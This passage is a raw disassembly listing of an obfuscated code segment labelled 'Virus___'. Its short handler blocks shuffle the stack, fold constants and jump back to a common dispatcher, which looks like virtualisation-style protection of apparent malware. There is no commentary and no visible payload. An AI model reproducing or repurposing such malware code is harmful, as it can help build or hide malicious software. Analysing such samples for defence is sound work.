		pop	esi
		push	ebx
		pop	edx
		pop	ebx
		and	ecx, edx
		push	dword ptr [esp]
		jmp	loc_575486
; ---------------------------------------------------------------------------


loc_576F13:				; CODE XREF: Virus___:005773EDj
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_5790D1
; ---------------------------------------------------------------------------


loc_576F1F:				; CODE XREF: Virus___:00575D6Cj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1A6129B7h
		jmp	loc_57585A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_576F42:				; CODE XREF: Virus___:005795DAj
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	6008h
		mov	[esp], ebp
		jmp	loc_575F7A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		jmp	loc_577376
; ---------------------------------------------------------------------------


loc_576F63:				; CODE XREF: Virus___:0057EDE1j
		pop	esi
		add	esp, 4
		push	ebx
		mov	ebx, 4382293Dh
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_57DF8A
; ---------------------------------------------------------------------------


loc_576F7B:				; CODE XREF: Virus___:0057AAF5j
		mov	[esp], edx
		mov	edx, 2C62077Ah
		sub	ecx, edx
		pop	edx
		shr	ecx, 5
		add	ecx, 7AF664A7h
		jmp	loc_57C2C0
; ---------------------------------------------------------------------------


loc_576F94:				; CODE XREF: Virus___:005739BCj
		mov	edx, 16CFC49Eh
		add	edx, ecx
		pop	ecx
		add	ebx, edx
		pop	edx
		xor	ebx, 0DA6CA257h
		push	edx
		push	ebx
		push	edx
		mov	edx, 0C233B1h
		jmp	loc_57ECE9
; ---------------------------------------------------------------------------


loc_576FB2:				; CODE XREF: Virus___:0057B6F4j
		add	eax, 489C1E83h
		pop	ecx
		push	ebx
		jmp	loc_577C6C
; ---------------------------------------------------------------------------


loc_576FBE:				; CODE XREF: Virus___:0057A9EFj
		mov	edi, 2
		push	1C3Ah
		jmp	loc_577D70
; ---------------------------------------------------------------------------


loc_576FCD:				; CODE XREF: Virus___:00575F9Bj
		push	ebx
		mov	bl, 3
		shr	bl, 4
		dec	bl
		xor	bl, 92h
		inc	bl
		xor	bl, 8
		jmp	loc_578E6D
; ---------------------------------------------------------------------------
		pop	cx
		push	ecx
		mov	ch, 0Fh
		add	dh, ch
		pop	ecx
		jmp	loc_57EE1E
; ---------------------------------------------------------------------------


loc_576FEF:				; CODE XREF: Virus___:0057BAB2j
		mov	[esp], esi
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_57E18A
; ---------------------------------------------------------------------------


loc_577016:				; CODE XREF: Virus___:00576E47j
		sub	ebx, 53117A1Ch
		pop	edx
		push	385Ch
		mov	[esp], eax
		mov	eax, 2
		add	ebx, eax
		pop	eax
		xor	ebx, [esp]
		jmp	loc_579AB0
; ---------------------------------------------------------------------------


loc_577035:				; CODE XREF: Virus___:005779CFj
		pop	dword ptr [esp]
		push	edi
		jmp	loc_57BC3C
; ---------------------------------------------------------------------------


loc_57703E:				; CODE XREF: Virus___:00575148j
		inc	eax
		jmp	loc_57D7B1
; ---------------------------------------------------------------------------
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		push	7918h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_576D80
; ---------------------------------------------------------------------------


loc_577099:				; CODE XREF: Virus___:0057CEFDj
		sub	edi, 2162B2FEh
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_576375
; ---------------------------------------------------------------------------


loc_5770AF:				; CODE XREF: Virus___:005783E6j
		add	eax, ecx
		jmp	loc_5789DB
; ---------------------------------------------------------------------------


loc_5770B6:				; CODE XREF: Virus___:0057719Aj
		xor	edi, [esp]
		jmp	loc_57B0C7
; ---------------------------------------------------------------------------


loc_5770BE:				; CODE XREF: Virus___:00576B05j
		add	esp, 4
		jmp	loc_57CB00
; ---------------------------------------------------------------------------


loc_5770C6:				; CODE XREF: Virus___:0057D050j
		add	ebp, 5CBC178Fh
		jmp	loc_578679
; ---------------------------------------------------------------------------


loc_5770D1:				; CODE XREF: Virus___:0057EB91j
		push	ebx
		pop	ebp
		pop	ebx
		mov	edx, ebp
		pop	ebp
		pop	ecx
		pop	ebp
		and	eax, edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_579830
; ---------------------------------------------------------------------------


loc_5770F5:				; CODE XREF: Virus___:0057374Ej
		push	edx
		push	ebp
		push	190A7AE5h
		pop	ebp
		and	ebp, 30DC26E9h
		jmp	loc_573F0E
; ---------------------------------------------------------------------------


loc_577108:				; CODE XREF: Virus___:005767B4j
		pop	esi
		sub	eax, edx
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 5FEB1BC1h
		not	edx
		add	edx, 9B30629h
		push	eax
		mov	eax, 42D640B4h
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	edx
		jmp	loc_57D9F7
; ---------------------------------------------------------------------------


loc_577139:				; CODE XREF: Virus___:00574F8Aj
		add	edx, ecx
		add	edx, 59305C79h
		jmp	loc_57E282
; ---------------------------------------------------------------------------


loc_577146:				; CODE XREF: Virus___:00574EE4j
		mov	ecx, ebp
		jmp	loc_57CB3A
; ---------------------------------------------------------------------------


loc_57714D:				; CODE XREF: Virus___:005765D3j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 24B017A6h
		shr	ecx, 7
		sub	ecx, 49602Bh
		sub	ebx, 50E90A3Bh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 341A65F9h
		push	esi
		mov	esi, 12F00075h
		xor	ebp, esi
		pop	esi
		jmp	loc_57B8F0
; ---------------------------------------------------------------------------


loc_577183:				; CODE XREF: Virus___:00579812j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_57E8C9
; ---------------------------------------------------------------------------


loc_577197:				; CODE XREF: Virus___:00574D94j
		xor	[esp], edi
		jmp	loc_5770B6
; ---------------------------------------------------------------------------


loc_57719F:				; CODE XREF: Virus___:00573CD7j
		add	esp, 4
		mov	cl, dh
		pop	edx
		push	bx
		mov	bl, cl
		mov	cl, [esp+2]
		mov	[esp+2], bl
		jmp	loc_578745
; ---------------------------------------------------------------------------


loc_5771B6:				; CODE XREF: Virus___:005735EFj
		mov	esi, 2E472874h
		dec	esi
		dec	esi
		not	esi
		shr	esi, 1
		inc	esi
		sub	esi, 50194751h
		jmp	loc_57BEE3
; ---------------------------------------------------------------------------


loc_5771CD:				; CODE XREF: Virus___:0057B8D5j
		dec	edi
		jmp	loc_57EE84
; ---------------------------------------------------------------------------


loc_5771D3:				; CODE XREF: Virus___:0057C25Ej
		xor	ebp, edi
		jmp	loc_57EB3E
; ---------------------------------------------------------------------------


loc_5771DA:				; CODE XREF: Virus___:0057C0A0j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]


loc_577202:				; CODE XREF: Virus___:00575B4Bj
		sub	esp, 4
		jmp	loc_57E9F4
; ---------------------------------------------------------------------------


loc_57720A:				; CODE XREF: Virus___:0057D09Aj
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_57BC91
; ---------------------------------------------------------------------------


loc_577215:				; CODE XREF: Virus___:0057B2BAj
		sub	bl, ah
		pop	eax
		jmp	loc_578EC2
; ---------------------------------------------------------------------------


loc_57721D:				; CODE XREF: Virus___:0057B470j
		add	edi, ebp
		pop	ebp
		push	ebp
		jmp	loc_57AF8F
; ---------------------------------------------------------------------------


loc_577226:				; CODE XREF: Virus___:0057BE6Bj
		pop	eax
		jmp	loc_57980C
; ---------------------------------------------------------------------------


loc_57722C:				; CODE XREF: Virus___:00574742j
		push	ebx
		jmp	loc_57B898
; ---------------------------------------------------------------------------


loc_577232:				; CODE XREF: Virus___:0057CB10j
		not	ebx
		jmp	loc_575219
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5749CD
; ---------------------------------------------------------------------------


loc_577254:				; CODE XREF: Virus___:0057CBC4j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_577259:				; CODE XREF: Virus___:0057A6BEj
		pop	bp
		jmp	loc_572CF2
; ---------------------------------------------------------------------------


loc_577260:				; CODE XREF: Virus___:00579C74j
		mov	ecx, 72626E2Bh
		sub	eax, 35EB4769h
		jmp	loc_57A4EA
; ---------------------------------------------------------------------------


loc_57726F:				; CODE XREF: Virus___:00574798j
		add	esp, 4
		add	esp, 4
		push	63E1h
		mov	[esp], eax
		jmp	loc_57B809
; ---------------------------------------------------------------------------


loc_577282:				; CODE XREF: Virus___:0057D6B4j
		mov	ecx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		shr	ecx, 2
		push	2F50h
		jmp	loc_57C31D
; ---------------------------------------------------------------------------


loc_57729F:				; CODE XREF: Virus___:00577A0Bj
		or	ecx, 7F0520E5h
		push	ebx
		mov	ebx, 80F8DF0Dh
		jmp	loc_574EE9
; ---------------------------------------------------------------------------


loc_5772B0:				; CODE XREF: Virus___:0057D6A3j
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		pop	eax
		push	ecx
		mov	ecx, 29FC1E64h
		sub	ecx, 7CA6395Eh
		dec	ecx
		jmp	loc_574AAC
; ---------------------------------------------------------------------------


loc_5772CE:				; CODE XREF: Virus___:0057ABDAj
		add	ebx, ecx
		jmp	loc_57A329
; ---------------------------------------------------------------------------


loc_5772D5:				; CODE XREF: Virus___:00576380j
		add	esp, 4
		push	ebx
		mov	ebx, 41662E07h
		shl	ebx, 1
		jmp	loc_573AC7
; ---------------------------------------------------------------------------


loc_5772E8:				; CODE XREF: Virus___:00572FBCj
		push	19C36F6Ah
		mov	ecx, [esp]
		add	esp, 4
		inc	ecx
		inc	ecx
		xor	ecx, 19C36F6Ch
		mov	ebx, ecx
		jmp	loc_5778F9
; ---------------------------------------------------------------------------


loc_577305:				; CODE XREF: Virus___:00576CD1j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		inc	word ptr [esp]
		pushf
		jmp	loc_57A80B
; ---------------------------------------------------------------------------


loc_57732A:				; CODE XREF: Virus___:00572C18j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebp
		mov	ebp, 534157E5h
		xor	ebp, 6228083Fh
		push	ebx
		jmp	loc_574EC2
; ---------------------------------------------------------------------------


loc_577345:				; CODE XREF: Virus___:0057C2E2j
		push	edi
		pop	ecx
		jmp	loc_57E28D
; ---------------------------------------------------------------------------


loc_57734C:				; CODE XREF: Virus___:0057A2A1j
		mov	esp, [esp]
		jmp	loc_57770B
; ---------------------------------------------------------------------------


loc_577354:				; CODE XREF: Virus___:0057DB9Fj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_577359:				; CODE XREF: Virus___:00578971j
		mov	cl, bl
		pop	ebx
		mov	dh, cl
		pop	ecx
		pop	ax
		xchg	dh, [esp]
		pop	ecx
		sub	cl, 0F5h
		add	al, cl
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_57A488
; ---------------------------------------------------------------------------


loc_577376:				; CODE XREF: Virus___:00576F5Ej
		mov	edx, esp
		add	edx, 4
		jmp	loc_57BF81
; ---------------------------------------------------------------------------


loc_577383:				; CODE XREF: Virus___:0057E817j
		mov	eax, 24h
		add	eax, edi
		push	edx
		mov	edx, 0
		add	edx, eax
		add	dword ptr [edx], 1
		pop	edx
		push	dword ptr [esp]
		pop	eax
		push	34DCh
		mov	[esp], esi
		jmp	loc_57C09D
; ---------------------------------------------------------------------------


loc_5773AA:				; CODE XREF: Virus___:005761F8j
		add	esp, 4
		jmp	loc_572F02
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_574129
; ---------------------------------------------------------------------------


loc_5773BA:				; CODE XREF: Virus___:00575F82j
		mov	[esp], ecx
		push	4
		pop	ecx
		sub	ebp, 2D10522h
		add	ebp, ecx
		add	ebp, 2D10522h
		jmp	loc_57E91A
; ---------------------------------------------------------------------------


loc_5773D6:				; CODE XREF: Virus___:0057596Cj
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		push	2AC9h
		mov	[esp], ebp
		jmp	loc_576F13
; ---------------------------------------------------------------------------


loc_5773F2:				; CODE XREF: Virus___:0057A0DCj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_578809
; ---------------------------------------------------------------------------


loc_577401:				; CODE XREF: Virus___:0057EBDDj
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_573BCB
; ---------------------------------------------------------------------------


loc_57741C:				; CODE XREF: Virus___:0057EA8Dj
		sub	esi, 9A8326Ch
		jmp	loc_57968C
; ---------------------------------------------------------------------------


loc_577427:				; CODE XREF: Virus___:0057828Aj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edx, 4
		push	25BCh
		mov	[esp], edi
		push	ecx
		mov	ecx, 0C2340FAh
		and	ecx, 469A57B1h
		jmp	loc_57AAEC
; ---------------------------------------------------------------------------


loc_577456:				; CODE XREF: Virus___:00577D15j
		push	265Ah
		jmp	loc_57C409
; ---------------------------------------------------------------------------


loc_577460:				; CODE XREF: Virus___:00578A28j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4315495Eh
		mov	ebx, esi
		pop	esi
		xor	ebx, 6AD425E3h
		jmp	loc_573A30
; ---------------------------------------------------------------------------


loc_577479:				; CODE XREF: Virus___:0057D28Dj
		mov	[esp], eax
		mov	eax, 0A806862Ah
		sub	ebx, 301F1880h
		jmp	loc_57E858
; ---------------------------------------------------------------------------


loc_57748C:				; CODE XREF: Virus___:00573099j
		push	edi
		mov	edi, 5EEC3CE6h
		push	eax
		mov	eax, 0A113C31Ah
		sub	edi, 67632C38h
		add	edi, eax
		jmp	loc_572F10
; ---------------------------------------------------------------------------


loc_5774A5:				; CODE XREF: Virus___:00572BA4j
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		xor	[esp], al
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_5774B5:				; CODE XREF: Virus___:00578945j
		xchg	ah, bl
		shr	bl, 7
		xor	bl, 3
		and	dh, bl
		mov	ebx, [esp]
		add	esp, 4
		sub	dh, 0D6h
		xor	al, dh
		pop	edx
		xor	bl, al
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_5774D8:				; CODE XREF: Virus___:0057CA20j
		sub	ebp, 15D05592h
		jmp	loc_57D7BE
; ---------------------------------------------------------------------------


loc_5774E3:				; CODE XREF: Virus___:005794F2j
		pop	edx
		push	ebx
		mov	ebx, 0
		sub	ebx, eax
		mov	eax, ebx
		pop	ebx
		jmp	loc_57E09E
; ---------------------------------------------------------------------------


loc_5774F4:				; CODE XREF: Virus___:0057B3AFj
		pop	edx
		mov	edi, ebp
		jmp	loc_575A81
; ---------------------------------------------------------------------------


loc_5774FC:				; CODE XREF: Virus___:005752DAj
		mov	[esp], ecx
		mov	ecx, 1
		jmp	loc_57D808
; ---------------------------------------------------------------------------


loc_577509:				; CODE XREF: Virus___:0057BB5Bj
		add	ebp, 0D81F2C59h
		jmp	loc_579354
; ---------------------------------------------------------------------------


loc_577514:				; CODE XREF: Virus___:0057E06Bj
		shr	eax, 2
		push	edi
		mov	edi, 37F66312h
		sub	edi, 33AA5848h
		sub	edi, 0D80F5D8Bh
		jmp	loc_57A4B5
; ---------------------------------------------------------------------------


loc_57752E:				; CODE XREF: Virus___:005757E6j
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		sub	esi, 4
		jmp	loc_57C08B
; ---------------------------------------------------------------------------


loc_577548:				; CODE XREF: Virus___:0057C51Fj
		push	ebp
		jmp	loc_577F0D
; ---------------------------------------------------------------------------


loc_57754E:				; CODE XREF: Virus___:0057EE0Aj
		mov	bx, [esp]
		add	esp, 2
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	63A1h
		mov	[esp], eax
		push	edi
		jmp	loc_577EC0
; ---------------------------------------------------------------------------


loc_57756E:				; CODE XREF: Virus___:00578EE4j
		xor	ebx, 0B9E545BBh
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edi, ecx
		mov	ecx, [esp]
		jmp	loc_5766ED
; ---------------------------------------------------------------------------


loc_577589:				; CODE XREF: Virus___:0057604Ej
		mov	[esp], ebp
		jmp	loc_57D2DA
; ---------------------------------------------------------------------------


loc_577591:				; CODE XREF: Virus___:00573A6Cj
		mov	esi, [esp]
		add	esp, 4
		xor	ebx, [esp]
		jmp	loc_573525
; ---------------------------------------------------------------------------


loc_5775A2:				; CODE XREF: Virus___:00579105j
		push	5098h
		mov	[esp], edi
		mov	edi, 65963756h
		push	edx
		mov	edx, 1F8A06A1h
		and	edi, edx
		mov	edx, [esp]
		add	esp, 4
		dec	edi
		shl	edi, 8
		push	ebx
		mov	ebx, 59AF7C8Ch
		shr	ebx, 1
		xor	ebx, 52ADBF46h
		add	edi, ebx
		mov	ebx, [esp]
		push	336h
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		mov	ebp, 77477648h
		inc	ebp
		xor	ebp, 5E7E74BEh
		add	ebp, 0D6C6FD0Dh
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_572F4C
; ---------------------------------------------------------------------------


loc_577601:				; CODE XREF: Virus___:00577C2Bj
		mov	edx, 39C4759Dh
		mov	esi, edx
		jmp	loc_57514D
; ---------------------------------------------------------------------------


loc_57760D:				; CODE XREF: Virus___:005797C1j
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_57E043
; ---------------------------------------------------------------------------


loc_57761D:				; CODE XREF: Virus___:0057D5AAj
		mov	eax, 4
		jmp	loc_577ACD
; ---------------------------------------------------------------------------


loc_577627:				; CODE XREF: Virus___:0057C031j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_576415
; ---------------------------------------------------------------------------


loc_577642:				; CODE XREF: Virus___:0057CACFj
		push	ecx
		push	14DEh
		mov	[esp], eax
		mov	eax, 75B4134Fh
		mov	ecx, eax
		pop	eax
		neg	ecx
		jmp	loc_57DF63
; ---------------------------------------------------------------------------


loc_57765A:				; CODE XREF: Virus___:00575538j
		mov	esp, [esp]
		jmp	loc_572CD5
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	586Ah
		jmp	loc_57EBE2
; ---------------------------------------------------------------------------


loc_577670:				; CODE XREF: Virus___:0057E2DCj
		mov	ebx, esp
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		push	ecx
		mov	ecx, 6AB76730h
		shr	ecx, 3
		jmp	loc_57EA77
; ---------------------------------------------------------------------------


loc_577689:				; CODE XREF: Virus___:005766BAj
		mov	ebp, ebx
		pop	ebx
		push	edi
		jmp	loc_57D447
; ---------------------------------------------------------------------------


loc_577692:				; CODE XREF: Virus___:00579E49j
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_57664F
; ---------------------------------------------------------------------------


loc_5776A1:				; CODE XREF: Virus___:00575A8Bj
		pop	eax
		add	esp, 4
		and	ecx, edi
		pop	edi
		shr	ecx, 0Ah
		jmp	loc_57A530
; ---------------------------------------------------------------------------


loc_5776B0:				; CODE XREF: Virus___:005780EBj
		and	ebx, 57340F83h
		dec	ebx
		add	ebx, 0B8FBF403h
		mov	ecx, ebx
		pop	ebx
		add	eax, 3A7C51A0h
		add	eax, ecx
		sub	eax, 3A7C51A0h
		mov	ecx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_57D590
; ---------------------------------------------------------------------------


loc_5776DB:				; CODE XREF: Virus___:0057662Cj
		add	eax, 4
		jmp	loc_572D2C
; ---------------------------------------------------------------------------


loc_5776E5:				; CODE XREF: Virus___:005732F4j
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 7A771631h
		not	eax
		inc	eax
		add	eax, 7A771635h
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_575E44
; ---------------------------------------------------------------------------


loc_57770B:				; CODE XREF: Virus___:0057734Fj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_577710:				; CODE XREF: Virus___:0057EA72j
		mov	[esp], esi
		jmp	loc_5740CA
; ---------------------------------------------------------------------------


loc_577718:				; CODE XREF: Virus___:00577951j
		pop	edi
		xchg	esi, [esp]
		pop	esp
		jmp	loc_573484
; ---------------------------------------------------------------------------


loc_577722:				; CODE XREF: Virus___:00573448j
		sub	esi, 2E8152CCh
		add	esi, 67233A8Ah
		add	esi, edx
		sub	esi, 67233A8Ah
		jmp	loc_57C345
; ---------------------------------------------------------------------------


loc_57773B:				; CODE XREF: Virus___:00577CBAj
		pop	edi
		add	edx, 2
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_5780F0
; ---------------------------------------------------------------------------


loc_57775C:				; CODE XREF: Virus___:0057B682j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_577761:				; CODE XREF: Virus___:00579E0Bj
		pop	ebx
		shr	eax, 0Eh
		xor	eax, ecx
		xchg	eax, ebp
		sub	esp, 4
		jmp	loc_578878
; ---------------------------------------------------------------------------


loc_577773:				; CODE XREF: Virus___:0057DF47j
		pop	edi
		add	eax, edx
		push	dword ptr [esp]
		jmp	loc_575BC8
; ---------------------------------------------------------------------------


loc_57777E:				; CODE XREF: Virus___:0057C58Bj
		push	edi
		jmp	loc_5791FC
; ---------------------------------------------------------------------------


loc_577784:				; CODE XREF: Virus___:00573C5Bj
		sub	esp, 4
		jmp	loc_579F98
; ---------------------------------------------------------------------------


loc_57778F:				; CODE XREF: Virus___:005768AEj
		mov	[esp], edx
		jmp	loc_57B3B4
; ---------------------------------------------------------------------------


loc_577797:				; CODE XREF: Virus___:0057E3F9j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57779C:				; CODE XREF: Virus___:00575948j
		sub	eax, 0CEA2652h
		jmp	loc_572E73
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		push	esp
		pop	ecx
		push	eax
		push	esi
		mov	esi, 79174475h
		sub	esi, 66F912D3h
		jmp	loc_57B78C
; ---------------------------------------------------------------------------


loc_5777BF:				; CODE XREF: Virus___:0057B9C0j
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 63CB52A1h
		shl	ebx, 7
		push	esi
		mov	esi, 75EC5503h
		and	ebx, esi
		jmp	loc_57A734
; ---------------------------------------------------------------------------


loc_5777E0:				; CODE XREF: Virus___:00577C4Aj
		sub	eax, 43197481h
		xor	eax, 7BAE5B71h
		inc	eax
		add	eax, 39FB2578h
		push	ebp
		mov	ebp, 9CC46F5Ah
		add	eax, ebp
		jmp	loc_579B77
; ---------------------------------------------------------------------------


loc_5777FD:				; CODE XREF: Virus___:0057B9B4j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5785BB
; ---------------------------------------------------------------------------


loc_57780D:				; CODE XREF: Virus___:005784A8j
		sub	eax, 0D66F3332h
		add	ecx, 7A231BF4h
		add	ecx, eax
		sub	ecx, 7A231BF4h
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_57BA0A
; ---------------------------------------------------------------------------


loc_57782F:				; CODE XREF: Virus___:0057496Ej
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_5745BA
; ---------------------------------------------------------------------------


loc_577847:				; CODE XREF: Virus___:0057B9F4j
		push	ax
		mov	ah, 0A8h
		add	bh, ah
		jmp	loc_5768CC
; ---------------------------------------------------------------------------


loc_577852:				; CODE XREF: Virus___:0057AC10j
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		push	esi
		push	ecx
		mov	ecx, 3DD804F3h
		mov	esi, ecx
		jmp	loc_57915C
; ---------------------------------------------------------------------------


loc_577867:				; CODE XREF: Virus___:00573F2Aj
		shl	edx, 8
		add	edx, 0F264F23h
		add	edx, 1ED105E1h
		add	ebp, edx
		jmp	loc_572C80
; ---------------------------------------------------------------------------


loc_57787D:				; CODE XREF: Virus___:0057EC3Bj
		add	edx, 0CD788619h
		and	edx, 280A00A7h
		xchg	esi, edx
		jmp	loc_57EAE0
; ---------------------------------------------------------------------------


loc_577890:				; CODE XREF: Virus___:00575F32j
		sub	eax, 47DC2093h
		push	edi
		mov	edi, 3AB067DDh
		jmp	loc_5786D0
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	edx
		jmp	loc_574D75
; ---------------------------------------------------------------------------


loc_5778BC:				; CODE XREF: Virus___:0057BEDEj
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		jmp	loc_57A330
; ---------------------------------------------------------------------------


loc_5778CD:				; CODE XREF: Virus___:0057BCB1j
		inc	ebp
		push	esi
		mov	esi, 0
		jmp	loc_57D81E
; ---------------------------------------------------------------------------


loc_5778D9:				; CODE XREF: Virus___:0057A271j
		add	edx, ebp
		pop	ebp
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_5778EF:				; CODE XREF: Virus___:0057E09Fj
		and	eax, 55FC46D8h
		jmp	loc_57C1B7
; ---------------------------------------------------------------------------


loc_5778F9:				; CODE XREF: Virus___:00577300j
		pop	ecx
		push	eax
		mov	eax, 40376B31h
		add	eax, 0E856ACCBh
		add	ebx, eax
		pop	eax
		add	ebx, ecx
		sub	ebx, 288E17FCh
		push	4DB3h
		mov	[esp], edx
		mov	dh, al
		mov	[ebx], dh
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57B83D
; ---------------------------------------------------------------------------


loc_57792B:				; CODE XREF: Virus___:00573DB7j
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		jmp	loc_57E8F6
; ---------------------------------------------------------------------------


loc_577943:				; CODE XREF: Virus___:00573329j
		add	esi, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		jmp	loc_577718
; ---------------------------------------------------------------------------


loc_577956:				; CODE XREF: Virus___:0057DC13j
		push	ecx
		mov	ecx, 1ACD31C6h
		or	ecx, 333C3A89h
		inc	ecx
		shl	ecx, 5
		xor	ecx, 4A393DFFh
		or	ecx, 73714EA1h
		sub	ecx, 1A8BEA2Dh
		add	ecx, 7AD92EACh
		sub	esi, 1255297Bh
		add	esi, ecx
		add	esi, 1255297Bh
		pop	ecx
		add	ecx, esi
		pop	esi
		push	ebp
		jmp	loc_575E28
; ---------------------------------------------------------------------------


loc_577996:				; CODE XREF: Virus___:00577D27j
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_57E565
; ---------------------------------------------------------------------------


loc_5779A4:				; CODE XREF: Virus___:00579793j
		push	ebp
		mov	ebp, 37D77DA8h
		sub	esi, ebp
		pop	ebp
		pop	edx
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_57B667
; ---------------------------------------------------------------------------


loc_5779B8:				; CODE XREF: Virus___:00578452j
		add	esi, ecx
		add	esi, 4C260949h
		pop	ecx
		push	ebp
		jmp	loc_57A4A5
; ---------------------------------------------------------------------------


loc_5779C7:				; CODE XREF: Virus___:005739C9j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_577035
; ---------------------------------------------------------------------------


loc_5779D4:				; CODE XREF: Virus___:0057D580j
		push	ecx
		jmp	loc_5769A4
; ---------------------------------------------------------------------------


loc_5779DA:				; CODE XREF: Virus___:005750E9j
		add	eax, 2
		xchg	eax, [esp]
		pop	esp
		sub	esp, 2
		mov	[esp], dx
		push	251Eh
		mov	[esp], ebx
		mov	bh, 50h
		mov	dh, 0F6h
		xor	dh, bh
		pop	ebx
		jmp	loc_57A699
; ---------------------------------------------------------------------------


